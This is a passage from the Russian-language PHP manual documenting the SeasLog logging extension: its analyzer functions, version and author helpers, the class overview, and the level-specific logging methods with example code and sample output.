$countResult1 = SeasLog::analyzerCount();
$countResult2 = SeasLog::analyzerCount(SEASLOG_WARNING);
$countResult3 = SeasLog::analyzerCount(SEASLOG_ERROR,date('Ymd',time()));

var_dump($countResult1,$countResult2,$countResult3);

?>

Результатом выполнения данного примера будет что-то подобное:

array(8) {
  ["DEBUG"]=>
  int(3)
  ["INFO"]=>
  int(3)
  ["NOTICE"]=>
  int(3)
  ["WARNING"]=>
  int(3)
  ["ERROR"]=>
  int(6)
  ["CRITICAL"]=>
  int(3)
  ["ALERT"]=>
  int(3)
  ["EMERGENCY"]=>
  int(3)
}
int(7)
int(1)

Пример #5 Получает некоторый тип списка журналов

SeasLog получает значение счётчика `grep -w`, использует системный канал и возвращает массив в PHP.

<?php
$detailErrorArray = SeasLog::analyzerDetail(SEASLOG_ERROR);
var_dump($detailErrorArray);

var_dump(SeasLog::analyzerDetail(SEASLOG_ERROR,date('Ymd',time())));
?>

Результатом выполнения данного примера будет что-то подобное:

array(6) {
  [0] =>
  string(83) "2014-02-24 00:14:02 | ERROR | 8568 | 599157af4e937 | 1393172042.717 | test error 3 "
  [1] =>
  string(83) "2014-02-24 00:14:04 | ERROR | 8594 | 5991576584446 | 1393172044.104 | test error 3 "
  [2] =>
  string(83) "2014-02-24 00:14:04 | ERROR | 8620 | 1502697015147 | 1393172044.862 | test error 3 "
  [3] =>
  string(83) "2014-02-24 00:14:05 | ERROR | 8646 | 599159975a9ff | 1393172045.989 | test error 3 "
  [4] =>
  string(83) "2014-02-24 00:14:07 | ERROR | 8672 | 599159986ec28 | 1393172047.882 | test error 3 "
  [5] =>
  string(83) "2014-02-24 00:14:08 | ERROR | 8698 | 5991599981cec | 1393172048.736 | test error 3 "
}

array(2) {
  [0] =>
  string(83) "2014-02-24 00:14:02 | ERROR | 8568 | 599157af4e937 | 1393172042.717 | test error 3 "
  [1] =>
  string(83) "2014-02-24 00:14:04 | ERROR | 8594 | 5991576584446 | 1393172044.104 | test error 3 "
}

User Contributed Notes

There are no user contributed notes for this page.


Функции Seaslog

Содержание

  • seaslog_get_author — Получает автора SeasLog
  • seaslog_get_version — Получает версию SeasLog

User Contributed Notes

There are no user contributed notes for this page.


Получает автора SeasLog

  • « Функции Seaslog
  • seaslog_get_version »
  • PHP Manual
  • Функции Seaslog
  • Получает автора SeasLog

seaslog_get_author

(PECL seaslog >=1.0.0)

seaslog_get_author — Получает автора SeasLog

Описание

seaslog_get_author(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает автора SeasLog в виде строки.

Примеры

Пример #1 Пример использования seaslog_get_author()

<?php

var_dump(seaslog_get_author());

?>

Результатом выполнения данного примера будет что-то подобное:

string(29) "Chitao.Gao  [ neeke@php.net ]"

User Contributed Notes

There are no user contributed notes for this page.


Получает версию SeasLog

  • « seaslog_get_author
  • SeasLog »
  • PHP Manual
  • Функции Seaslog
  • Получает версию SeasLog

seaslog_get_version

(PECL seaslog >=1.0.0)

seaslog_get_version — Получает версию SeasLog

Описание

seaslog_get_version(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает версию SeasLog (SEASLOG_VERSION) в виде строки.

Примеры

Пример #1 Пример использования seaslog_get_version()

<?php

var_dump(seaslog_get_version());

?>

Результатом выполнения данного примера будет что-то подобное:

string(5) "1.8.4"

User Contributed Notes

There are no user contributed notes for this page.


Класс SeasLog

(PECL seaslog >=1.0.0)

Введение

Обзор классов

class SeasLog {
/* Методы */
public static alert(string $message, array $content = ?, string $logger = ?): bool
public static analyzerCount(string $level, string $log_path = ?, string $key_word = ?): mixed
public static analyzerDetail(
string $level,
string $log_path = ?,
string $key_word = ?,
int $start = ?,
int $limit = ?,
int $order = ?
): mixed
public static closeLoggerStream(int $model, string $logger): bool
public static critical(string $message, array $content = ?, string $logger = ?): bool
public static debug(string $message, array $content = ?, string $logger = ?): bool
public __destruct()
public static emergency(string $message, array $content = ?, string $logger = ?): bool
public static error(string $message, array $content = ?, string $logger = ?): bool
public static flushBuffer(): bool
public static Seaslog::getBasePath(): string
public static getBuffer(): array
public static getBufferEnabled(): bool
public static getDatetimeFormat(): string
public static getLastLogger(): string
public static getRequestID(): string
public static getRequestVariable(int $key): bool
public static info(string $message, array $content = ?, string $logger = ?): bool
public static log(
string $level,
string $message = ?,
array $content = ?,
string $logger = ?
): bool
public static notice(string $message, array $content = ?, string $logger = ?): bool
public static setBasePath(string $base_path): bool
public static setDatetimeFormat(string $format): bool
public static setLogger(string $logger): bool
public static setRequestID(string $request_id): bool
public static setRequestVariable(int $key, string $value): bool
public static warning(string $message, array $content = ?, string $logger = ?): bool
}

Содержание

  • SeasLog::alert — Записывает информацию уровня "alert" в журнал
  • SeasLog::analyzerCount — Получает количество журналов по уровню, log_path и key_word
  • SeasLog::analyzerDetail — Получает детализацию журнала по уровню, log_path, key_word, start, limit, order
  • SeasLog::closeLoggerStream — Вручную освобождает поток от регистратора
  • SeasLog::__construct — Описание
  • SeasLog::critical — Записывает информацию уровня "critical" в журнал
  • SeasLog::debug — Записывает информацию уровня "debug" в журнал
  • SeasLog::__destruct — Описание
  • SeasLog::emergency — Записывает информацию уровня "emergency" в журнал
  • SeasLog::error — Записывает информацию уровня "error" в журнал
  • SeasLog::flushBuffer — Очищает буфер логов, делает дамп в файл приложения или отправляет на удалённый API с помощью tcp/udp
  • SeasLog::getBasePath — Получает базовый путь SeasLog
  • SeasLog::getBuffer — Получает буфер логов в памяти в виде массива
  • SeasLog::getBufferEnabled — Определяет, включён ли буфер
  • SeasLog::getDatetimeFormat — Получает стиль формата даты и времени SeasLog
  • SeasLog::getLastLogger — Получает последний путь регистратора SeasLog
  • SeasLog::getRequestID — Получает дифференцированные запросы SeasLog request_id
  • SeasLog::getRequestVariable — Получает переменную запроса SeasLog
  • SeasLog::info — Записывает информацию уровня "info" в журнал
  • SeasLog::log — Общая функция записи в журнал
  • SeasLog::notice — Записывает информацию уровня "notice" в журнал
  • SeasLog::setBasePath — Устанавливает базовый путь SeasLog
  • SeasLog::setDatetimeFormat — Устанавливает стиль формата даты и времени SeasLog
  • SeasLog::setLogger — Устанавливает имя регистратора SeasLog
  • SeasLog::setRequestID — Устанавливает дифференцированные запросы SeasLog request_id
  • SeasLog::setRequestVariable — Устанавливает переменную запроса SeasLog вручную
  • SeasLog::warning — Записывает информацию уровня "warning" в журнал

User Contributed Notes

There are no user contributed notes for this page.


Записывает информацию уровня "alert" в журнал

  • « SeasLog
  • SeasLog::analyzerCount »
  • PHP Manual
  • SeasLog
  • Записывает информацию уровня "alert" в журнал

SeasLog::alert

(PECL seaslog >=1.0.0)

SeasLog::alert — Записывает информацию уровня "alert" в журнал

Описание

public static SeasLog::alert(string $message, array $content = ?, string $logger = ?): bool

Записывает информацию уровня "alert" в журнал.

Замечание:

"ALERT" - Действия должны быть предприняты немедленно. Немедленное внимание следует уделять соответствующему персоналу для аварийного ремонта.

Список параметров

message

Сообщение журнала.

content

Сообщение содержит заполнители, которые разработчики заменяют значениями из массива содержимого. Если `message` - это `информация журнала от {NAME}`, а `content` - `array('NAME' => 'Никиты')`, информация журнала будет `информация журнала от Никиты`.

logger

`logger`, заключённый в третий параметр, будет использоваться прямо сейчас, как временный регистратор, если функция SeasLog::setLogger() вызывается в предварительном содержимом. Если `logger` равен NULL или "" (пустая строка), SeasLog будет использовать последний регистратор, установленный методом SeasLog::setLogger().

Возвращаемые значения

Возвращает TRUE в случае успешного выполнения записи журнала, FALSE в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SeasLog::alert()

<?php

var_dump(SeasLog::alert('log message'));

//с content
var_dump(SeasLog::alert('log message from {NAME}',array('NAME' => 'neeke')));

//с временным logger
var_dump(SeasLog::alert('log message from {NAME}',array('NAME' => 'neeke'),'tmp_logger'));

var_dump(SeasLog::getBuffer());

?>

Результатом выполнения данного примера будет что-то подобное:

bool(true)
bool(true)
bool(true)
array(2) {
  ["/var/log/www/default/20180707.log"]=>
  array(2) {
    [0]=>
    string(81) "2018-07-07 11:45:49 | ALERT | 73263 | 5b40376d1067c | 1530935149.68 | log message
"
    [1]=>
    string(92) "2018-07-07 11:45:49 | ALERT | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
  ["/var/log/www/tmp_logger/20180707.log"]=>
  array(1) {
    [0]=>
    string(92) "2018-07-07 11:45:49 | ALERT | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
}

Смотрите также

  • seaslog.default_template
  • SeasLog::debug() - Записывает информацию уровня "debug" в журнал
  • SeasLog::info() - Записывает информацию уровня "info" в журнал
  • SeasLog::notice() - Записывает информацию уровня "notice" в журнал
  • SeasLog::warning() - Записывает информацию уровня "warning" в журнал
  • SeasLog::error() - Записывает информацию уровня "error" в журнал
  • SeasLog::critical() - Записывает информацию уровня "critical" в журнал
  • SeasLog::emergency() - Записывает информацию уровня "emergency" в журнал
  • SeasLog::log() - Общая функция записи в журнал

User Contributed Notes

There are no user contributed notes for this page.


Получает количество журналов по уровню, log_path и key_word

  • « SeasLog::alert
  • SeasLog::analyzerDetail »
  • PHP Manual
  • SeasLog
  • Получает количество журналов по уровню, log_path и key_word

SeasLog::analyzerCount

(PECL seaslog >=1.1.6)

SeasLog::analyzerCount — Получает количество журналов по уровню, log_path и key_word

Описание

public static SeasLog::analyzerCount(string $level, string $log_path = ?, string $key_word = ?): mixed

`SeasLog` получает значение счётчика `grep -ai '{level}' | grep -aic '{key_word}'`, используя системный канал и возвращает в PHP (массив или целое число).

Список параметров

level

Строка. Уровень журнала.

log_path

Строка. Путь к журналу.

key_word

Строка. Ключевое слово для поиска в журнале.

Возвращаемые значения

Если `level` равен SEASLOG_ALL или не задан, возвращаются все уровни как массив. Если `level` равен SEASLOG_INFO или другой уровень, возвращается количество как целое число.

Примеры

Пример #1 Пример использования SeasLog::analyzerCount()

<?php

$countResult1 = SeasLog::analyzerCount();

//с `level`
$countResult2 = SeasLog::analyzerCount(SEASLOG_DEBUG);

//с `level` и `log_path`
$countResult3 = SeasLog::analyzerCount(SEASLOG_ERROR,date('Ymd',time()));

//с `level` и `key_word`
$countResult4 = SeasLog::analyzerCount(SEASLOG_DEBUG,NULL,'accessToken');

var_dump($countResult1,$countResult2,$countResult3,$countResult4);

?>

Результатом выполнения данного примера будет что-то подобное:

array(8) {
  ["DEBUG"]=>
  int(180)
  ["INFO"]=>
  int(214)
  ["NOTICE"]=>
  int(0)
  ["WARNING"]=>
  int(0)
  ["ERROR"]=>
  int(228)
  ["CRITICAL"]=>
  int(244)
  ["ALERT"]=>
  int(1)
  ["EMERGENCY"]=>
  int(0)
}

int(180)

int(228)

int(29)

Смотрите также

  • SeasLog::analyzerDetail() - Получает детализацию журнала по уровню, log_path, key_word, start, limit, order

User Contributed Notes

There are no user contributed notes for this page.


Получает детализацию журнала по уровню, log_path, key_word, start, limit, order

  • « SeasLog::analyzerCount
  • SeasLog::closeLoggerStream »
  • PHP Manual
  • SeasLog
  • Получает детализацию журнала по уровню, log_path, key_word, start, limit, order

SeasLog::analyzerDetail

(PECL seaslog >=1.1.6)

SeasLog::analyzerDetail — Получает детализацию журнала по уровню, log_path, key_word, start, limit, order

Описание

public static SeasLog::analyzerDetail(
string $level,
string $log_path = ?,
string $key_word = ?,
int $start = ?,
int $limit = ?,
int $order = ?
): mixed

`SeasLog` получает результат выполнения команды `grep -ai '{level}' | grep -ai '{key_word}' | sed -n '{start},{limit}'p`, использует системный канал и возвращает массив в PHP.

Список параметров

level

Строка. Уровень информации журнала.

log_path

Строка. Путь к информации журнала.

key_word

Строка. Ключевое слово для поиска информации журнала.

start

Целое число. По умолчанию `1`.

limit

Целое число. По умолчанию `20`.

order

Целое число. По умолчанию SEASLOG_DETAIL_ORDER_ASC. Смотрите также:

  • SEASLOG_DETAIL_ORDER_ASC
  • SEASLOG_DETAIL_ORDER_DESC

Возвращаемые значения

Возвращает результаты в виде массива.

Замечание:

Если start, limit не равны NULL, в Windows SeasLog выбросит исключение с сообщением: "Param start and limit don't support Windows" (Параметры start и limit не поддерживаются в Windows).

Примеры

Пример #1 Пример использования SeasLog::analyzerDetail()

<?php

$result1 = SeasLog::analyzerDetail(SEASLOG_ERROR);

//с `logger` и `key_word`
$result2 = SeasLog::analyzerDetail(SEASLOG_ERROR,'test/logger/','neeke');

//с `start` и `limit`
$result3 = SeasLog::analyzerDetail(SEASLOG_ERROR,'test/logger/','neeke',1,2);

var_dump($result1,$result2,$result3);
?>

Результатом выполнения данного примера будет что-то подобное:

array(20) {
  [0]=>
  string(93) "2018-07-09 12:52:53 | ERROR | 12247 | 5b42ea2580e51 | 1531111973.528 | log message from neeke"
  [1]=>
  string(93) "2018-07-09 12:52:54 | ERROR | 12256 | 5b42ea26d6657 | 1531111974.878 | log message from neeke"
  [2]=>
  string(93) "2018-07-09 12:52:55 | ERROR | 12265 | 5b42ea277b8d4 | 1531111975.506 | log message from neeke"
  [3]=>
  string(104) "2018-07-09 12:52:55 | ERROR | 12274 | 5b42ea27db5dc | 1531111975.898 | log message from the other people"
...
}

array(3) {
  [0]=>
  string(93) "2018-07-09 12:52:53 | ERROR | 12247 | 5b42ea2580e51 | 1531111973.528 | log message from neeke"
  [1]=>
  string(93) "2018-07-09 12:52:54 | ERROR | 12256 | 5b42ea26d6657 | 1531111974.878 | log message from neeke"
  [2]=>
  string(93) "2018-07-09 12:52:55 | ERROR | 12265 | 5b42ea277b8d4 | 1531111975.506 | log message from neeke"
}

array(2) {
  [0]=>
  string(93) "2018-07-09 12:52:53 | ERROR | 12247 | 5b42ea2580e51 | 1531111973.528 | log message from neeke"
  [1]=>
  string(93) "2018-07-09 12:52:54 | ERROR | 12256 | 5b42ea26d6657 | 1531111974.878 | log message from neeke"
}

Смотрите также

  • SeasLog::analyzerCount() - Получает количество журналов по уровню, log_path и key_word

User Contributed Notes

There are no user contributed notes for this page.


Вручную освобождает поток от регистратора

  • « SeasLog::analyzerDetail
  • SeasLog::__construct »
  • PHP Manual
  • SeasLog
  • Вручную освобождает поток от регистратора

SeasLog::closeLoggerStream

(PECL seaslog >=1.8.6)

SeasLog::closeLoggerStream — Вручную освобождает поток от регистратора

Описание

public static SeasLog::closeLoggerStream(int $model, string $logger): bool

Вручную освобождает поток от регистратора. SeasLog кеширует дескриптор потока, открытый регистратором журнала, чтобы сэкономить накладные расходы на создание потока. Дескриптор будет автоматически освобождён в конце запроса. В режиме CLI процесс также автоматически завершится при выходе. Или вы можете использовать следующие функции для освобождения вручную (функция ручного освобождения требует обновления SeasLog до версии 1.8.6 или обновлённой версии).

Список параметров

model

Целое число, одна из констант:

  • SEASLOG_CLOSE_LOGGER_STREAM_MOD_ALL
  • SEASLOG_CLOSE_LOGGER_STREAM_MOD_ASSIGN

logger

Имя регистратора.

Возвращаемые значения

Возвращает TRUE в случае успешного освобождения потока, FALSE в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SeasLog::closeLoggerStream()

<?php

var_dump(SeasLog::closeLoggerStream());
var_dump(SeasLog::closeLoggerStream(SEASLOG_CLOSE_LOGGER_STREAM_MOD_ALL));
var_dump(SeasLog::closeLoggerStream(SEASLOG_CLOSE_LOGGER_STREAM_MOD_ASSIGN, 'logger_name'));

?>

Результатом выполнения данного примера будет что-то подобное:

bool(true)
bool(true)
bool(true)

Смотрите также

  • SeasLog::setLogger() - Устанавливает имя регистратора SeasLog
  • SeasLog::getLastLogger() - Получает последний путь регистратора SeasLog

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « SeasLog::closeLoggerStream
  • SeasLog::critical »
  • PHP Manual
  • SeasLog
  • Описание

SeasLog::__construct

(PECL seaslog >=1.0.0)

SeasLog::__construct — Описание

Описание

public SeasLog::__construct()

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Примеры

Пример #1 Пример использования SeasLog::__construct()

<?php

/* ... */

?>

Результатом выполнения данного примера будет что-то подобное:

...

User Contributed Notes

There are no user contributed notes for this page.


Записывает информацию уровня "critical" в журнал

  • « SeasLog::__construct
  • SeasLog::debug »
  • PHP Manual
  • SeasLog
  • Записывает информацию уровня "critical" в журнал

SeasLog::critical

(PECL seaslog >=1.0.0)

SeasLog::critical — Записывает информацию уровня "critical" в журнал

Описание

public static SeasLog::critical(string $message, array $content = ?, string $logger = ?): bool

Записывает информацию уровня "critical" в журнал.

Замечание:

"CRITICAL" - Критические условия. Требуется немедленный ремонт, программный компонент недоступен.

Список параметров

message

Сообщение журнала.

content

Сообщение содержит заполнители, которые разработчики заменяют значениями из массива содержимого. Если `message` - это `информация журнала от {NAME}`, а `content` - `array('NAME' => 'Никиты')`, информация журнала будет `информация журнала от Никиты`.

logger

`logger`, заключённый в третий параметр, будет использоваться прямо сейчас, как временный регистратор, если функция SeasLog::setLogger() вызывается в предварительном содержимом. Если `logger` равен NULL или "" (пустая строка), SeasLog будет использовать последний регистратор, установленный методом SeasLog::setLogger().

Возвращаемые значения

Возвращает TRUE в случае успешного выполнения записи журнала, FALSE в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SeasLog::critical()

<?php

var_dump(SeasLog::critical('log message'));

//с content
var_dump(SeasLog::critical('log message from {NAME}',array('NAME' => 'neeke')));

//с временным logger
var_dump(SeasLog::critical('log message from {NAME}',array('NAME' => 'neeke'),'tmp_logger'));

var_dump(SeasLog::getBuffer());

?>

Результатом выполнения данного примера будет что-то подобное:

bool(true)
bool(true)
bool(true)
array(2) {
  ["/var/log/www/default/20180707.log"]=>
  array(2) {
    [0]=>
    string(81) "2018-07-07 11:45:49 | CRITICAL | 73263 | 5b40376d1067c | 1530935149.68 | log message
"
    [1]=>
    string(92) "2018-07-07 11:45:49 | CRITICAL | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
  ["/var/log/www/tmp_logger/20180707.log"]=>
  array(1) {
    [0]=>
    string(92) "2018-07-07 11:45:49 | CRITICAL | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
}

Смотрите также

  • seaslog.default_template
  • SeasLog::debug() - Записывает информацию уровня "debug" в журнал
  • SeasLog::info() - Записывает информацию уровня "info" в журнал
  • SeasLog::notice() - Записывает информацию уровня "notice" в журнал
  • SeasLog::warning() - Записывает информацию уровня "warning" в журнал
  • SeasLog::error() - Записывает информацию уровня "error" в журнал
  • SeasLog::alert() - Записывает информацию уровня "alert" в журнал
  • SeasLog::emergency() - Записывает информацию уровня "emergency" в журнал
  • SeasLog::log() - Общая функция записи в журнал

User Contributed Notes

There are no user contributed notes for this page.


Записывает информацию уровня "debug" в журнал

  • « SeasLog::critical
  • SeasLog::__destruct »
  • PHP Manual
  • SeasLog
  • Записывает информацию уровня "debug" в журнал

SeasLog::debug

(PECL seaslog >=1.0.0)

SeasLog::debug — Записывает информацию уровня "debug" в журнал

Описание

public static SeasLog::debug(string $message, array $content = ?, string $logger = ?): bool

Записывает информацию уровня "debug" в журнал.

Замечание:

"DEBUG" - Подробная информация об отладке. Детализированные информационные события.

Список параметров

message

Сообщение журнала.

content

Сообщение содержит заполнители, которые разработчики заменяют значениями из массива содержимого. Если `message` - это `информация журнала от {NAME}`, а `content` - `array('NAME' => 'Никиты')`, информация журнала будет `информация журнала от Никиты`.

logger

`logger`, заключённый в третий параметр, будет использоваться прямо сейчас, как временный регистратор, если функция SeasLog::setLogger() вызывается в предварительном содержимом. Если `logger` равен NULL или "" (пустая строка), SeasLog будет использовать последний регистратор, установленный методом SeasLog::setLogger().

Возвращаемые значения

Возвращает TRUE в случае успешного выполнения записи журнала, FALSE в случае возникновения ошибки.

Примеры

Пример #1 SeasLog::debug() example

<?php

var_dump(SeasLog::debug('log message'));

//с content
var_dump(SeasLog::debug('log message from {NAME}',array('NAME' => 'neeke')));

//с временным logger
var_dump(SeasLog::debug('log message from {NAME}',array('NAME' => 'neeke'),'tmp_logger'));

var_dump(SeasLog::getBuffer());

?>

Результатом выполнения данного примера будет что-то подобное:

bool(true)
bool(true)
bool(true)
array(2) {
  ["/var/log/www/default/20180707.log"]=>
  array(2) {
    [0]=>
    string(81) "2018-07-07 11:45:49 | DEBUG | 73263 | 5b40376d1067c | 1530935149.68 | log message
"
    [1]=>
    string(92) "2018-07-07 11:45:49 | DEBUG | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
  ["/var/log/www/tmp_logger/20180707.log"]=>
  array(1) {
    [0]=>
    string(92) "2018-07-07 11:45:49 | DEBUG | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
}

Смотрите также

  • seaslog.default_template
  • SeasLog::info() - Записывает информацию уровня "info" в журнал
  • SeasLog::notice() - Записывает информацию уровня "notice" в журнал
  • SeasLog::warning() - Записывает информацию уровня "warning" в журнал
  • SeasLog::error() - Записывает информацию уровня "error" в журнал
  • SeasLog::critical() - Записывает информацию уровня "critical" в журнал
  • SeasLog::alert() - Записывает информацию уровня "alert" в журнал
  • SeasLog::emergency() - Записывает информацию уровня "emergency" в журнал
  • SeasLog::log() - Общая функция записи в журнал

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « SeasLog::debug
  • SeasLog::emergency »
  • PHP Manual
  • SeasLog
  • Описание

SeasLog::__destruct

(PECL seaslog >=1.0.0)

SeasLog::__destruct — Описание

Описание

public SeasLog::__destruct()

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Примеры

Пример #1 Пример использования SeasLog::__destruct()

<?php

/* ... */

?>

Результатом выполнения данного примера будет что-то подобное:

...

User Contributed Notes

There are no user contributed notes for this page.


Записывает информацию уровня "emergency" в журнал

  • « SeasLog::__destruct
  • SeasLog::error »
  • PHP Manual
  • SeasLog
  • Записывает информацию уровня "emergency" в журнал

SeasLog::emergency

(PECL seaslog >=1.0.0)

SeasLog::emergency — Записывает информацию уровня "emergency" в журнал

Описание

public static SeasLog::emergency(string $message, array $content = ?, string $logger = ?): bool

Записывает информацию уровня "emergency" в журнал.

Замечание:

"EMERGENCY" - Система непригодна для использования.

Список параметров

message

Сообщение журнала.

content

Сообщение содержит заполнители, которые разработчики заменяют значениями из массива содержимого. Если `message` - это `информация журнала от {NAME}`, а `content` - `array('NAME' => 'Никиты')`, информация журнала будет `информация журнала от Никиты`.

logger

`logger`, заключённый в третий параметр, будет использоваться прямо сейчас, как временный регистратор, если функция SeasLog::setLogger() вызывается в предварительном содержимом. Если `logger` равен NULL или "" (пустая строка), SeasLog будет использовать последний регистратор, установленный методом SeasLog::setLogger().

Возвращаемые значения

Возвращает TRUE в случае успешного выполнения записи журнала, FALSE в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SeasLog::emergency()

<?php

var_dump(SeasLog::emergency('log message'));

//с content
var_dump(SeasLog::emergency('log message from {NAME}',array('NAME' => 'neeke')));

//с временным logger
var_dump(SeasLog::emergency('log message from {NAME}',array('NAME' => 'neeke'),'tmp_logger'));

var_dump(SeasLog::getBuffer());

?>

Результатом выполнения данного примера будет что-то подобное:

bool(true)
bool(true)
bool(true)
array(2) {
  ["/var/log/www/default/20180707.log"]=>
  array(2) {
    [0]=>
    string(81) "2018-07-07 11:45:49 | EMERGENCY | 73263 | 5b40376d1067c | 1530935149.68 | log message
"
    [1]=>
    string(92) "2018-07-07 11:45:49 | EMERGENCY | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
  ["/var/log/www/tmp_logger/20180707.log"]=>
  array(1) {
    [0]=>
    string(92) "2018-07-07 11:45:49 | EMERGENCY | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
}

Смотрите также

  • seaslog.default_template
  • SeasLog::debug() - Записывает информацию уровня "debug" в журнал
  • SeasLog::info() - Записывает информацию уровня "info" в журнал
  • SeasLog::notice() - Записывает информацию уровня "notice" в журнал
  • SeasLog::warning() - Записывает информацию уровня "warning" в журнал
  • SeasLog::error() - Записывает информацию уровня "error" в журнал
  • SeasLog::critical() - Записывает информацию уровня "critical" в журнал
  • SeasLog::alert() - Записывает информацию уровня "alert" в журнал
  • SeasLog::log() - Общая функция записи в журнал

User Contributed Notes

There are no user contributed notes for this page.


Записывает информацию уровня "error" в журнал

  • « SeasLog::emergency
  • SeasLog::flushBuffer »
  • PHP Manual
  • SeasLog
  • Записывает информацию уровня "error" в журнал

SeasLog::error

(PECL seaslog >=1.0.0)

SeasLog::error — Записывает информацию уровня "error" в журнал

Описание

public static SeasLog::error(string $message, array $content = ?, string $logger = ?): bool

Записывает информацию уровня "error" в журнал.

Замечание:

"ERROR" - Ошибки во времени выполнения, которые не требуют немедленных действий, но обычно должны.

Список параметров

message

Сообщение журнала.

content

Сообщение содержит заполнители, которые разработчики заменяют значениями из массива содержимого. Если `message` - это `информация журнала от {NAME}`, а `content` - `array('NAME' => 'Никиты')`, информация журнала будет `информация журнала от Никиты`.

logger

`logger`, заключённый в третий параметр, будет использоваться прямо сейчас, как временный регистратор, если функция SeasLog::setLogger() вызывается в предварительном содержимом. Если `logger` равен NULL или "" (пустая строка), SeasLog будет использовать последний регистратор, установленный методом SeasLog::setLogger().

Возвращаемые значения

Возвращает TRUE в случае успешного выполнения записи журнала, FALSE в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SeasLog::error()

<?php

var_dump(SeasLog::error('log message'));

//с content
var_dump(SeasLog::error('log message from {NAME}',array('NAME' => 'neeke')));

//с временным logger
var_dump(SeasLog::error('log message from {NAME}',array('NAME' => 'neeke'),'tmp_logger'));

var_dump(SeasLog::getBuffer());

?>

Результатом выполнения данного примера будет что-то подобное:

bool(true)
bool(true)
bool(true)
array(2) {
  ["/var/log/www/default/20180707.log"]=>
  array(2) {
    [0]=>
    string(81) "2018-07-07 11:45:49 | ERROR | 73263 | 5b40376d1067c | 1530935149.68 | log message
"
    [1]=>
    string(92) "2018-07-07 11:45:49 | ERROR | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
  ["/var/log/www/tmp_logger/20180707.log"]=>
  array(1) {
    [0]=>
    string(92) "2018-07-07 11:45:49 | ERROR | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
}

Смотрите также

  • seaslog.default_template
  • SeasLog::debug() - Записывает информацию уровня "debug" в журнал
  • SeasLog::info() - Записывает информацию уровня "info" в журнал
  • SeasLog::notice() - Записывает информацию уровня "notice" в журнал
  • SeasLog::warning() - Записывает информацию уровня "warning" в журнал
  • SeasLog::critical() - Записывает информацию уровня "critical" в журнал
  • SeasLog::alert() - Записывает информацию уровня "alert" в журнал
  • SeasLog::emergency() - Записывает информацию уровня "emergency" в журнал
  • SeasLog::log() - Общая функция записи в журнал

User Contributed Notes

There are no user contributed notes for this page.


Очищает буфер логов, делает дамп в файл приложения или отправляет на удалённый API с помощью tcp/udp

  • « SeasLog::error
  • SeasLog::getBasePath »
  • PHP Manual
  • SeasLog
  • Очищает буфер логов, делает дамп в файл приложения или отправляет на удалённый API с помощью tcp/udp

SeasLog::flushBuffer

(PECL seaslog >=1.0.0)

SeasLog::flushBuffer — Очищает буфер логов, делает дамп в файл приложения или отправляет на удалённый API с помощью tcp/udp

Описание

public static SeasLog::flushBuffer(): bool

Очищает буфер логов с помощью seaslog.appender: делает дамп в файл приложения или отправляет на удалённый API с помощью tcp/udp.

Замечание:

Смотрите также: seaslog.appender_retry seaslog.remote_host seaslog.remote_port

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает TRUE в случае успешной очистки буфера, FALSE в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SeasLog::flushBuffer()

<?php

SeasLog::info('info log');
SeasLog::debug('debug log');
var_dump(SeasLog::getBuffer());
var_dump(SeasLog::flushBuffer());
var_dump(SeasLog::getBuffer());

?>

Результатом выполнения данного примера будет что-то подобное:

array(1) {
  ["/var/log/www/default/20180707.log"]=>
  array(2) {
    [0]=>
    string(79) "2018-07-07 10:47:58 | INFO | 71910 | 5b4029ded6009 | 1530931678.877 | info log
"
    [1]=>
    string(81) "2018-07-07 10:47:58 | DEBUG | 71910 | 5b4029ded6009 | 1530931678.877 | debug log
"
  }
}
bool(true)
array(0) {
}

Смотрите также

  • seaslog.use_buffer
  • seaslog.buffer_size
  • seaslog.buffer_disabled_in_cli
  • SeasLog::getBufferEnabled() - Определяет, включён ли буфер
  • SeasLog::getBuffer() - Получает буфер логов в памяти в виде массива

User Contributed Notes

There are no user contributed notes for this page.


Получает базовый путь SeasLog

  • « SeasLog::flushBuffer
  • SeasLog::getBuffer »
  • PHP Manual
  • SeasLog
  • Получает базовый путь SeasLog

SeasLog::getBasePath

(PECL seaslog >=1.0.0)

SeasLog::getBasePath — Получает базовый путь SeasLog

Описание

public static Seaslog::getBasePath(): string

Используйте функцию SeasLog::getBasePath(), чтобы получить значение seaslog.default_basepath, которое настроено в php.ini (seaslog.ini).

Если вы используете Seaslog::setBasePath(), результат изменится.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает значение seaslog.default_basepath в виде строки.

Примеры

Пример #1 Пример использования SeasLog::getBasePath()

<?php

var_dump(SeasLog::getBasePath());

?>

Результатом выполнения данного примера будет что-то подобное:

string(12) "/var/log/www"

User Contributed Notes

There are no user contributed notes for this page.


Получает буфер логов в памяти в виде массива

  • « SeasLog::getBasePath
  • SeasLog::getBufferEnabled »
  • PHP Manual
  • SeasLog
  • Получает буфер логов в памяти в виде массива

SeasLog::getBuffer

(PECL seaslog >=1.0.0)

SeasLog::getBuffer — Получает буфер логов в памяти в виде массива

Описание

public static SeasLog::getBuffer(): array

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив из буфера логов в памяти.

Примеры

Пример #1 Пример использования SeasLog::getBuffer()

<?php

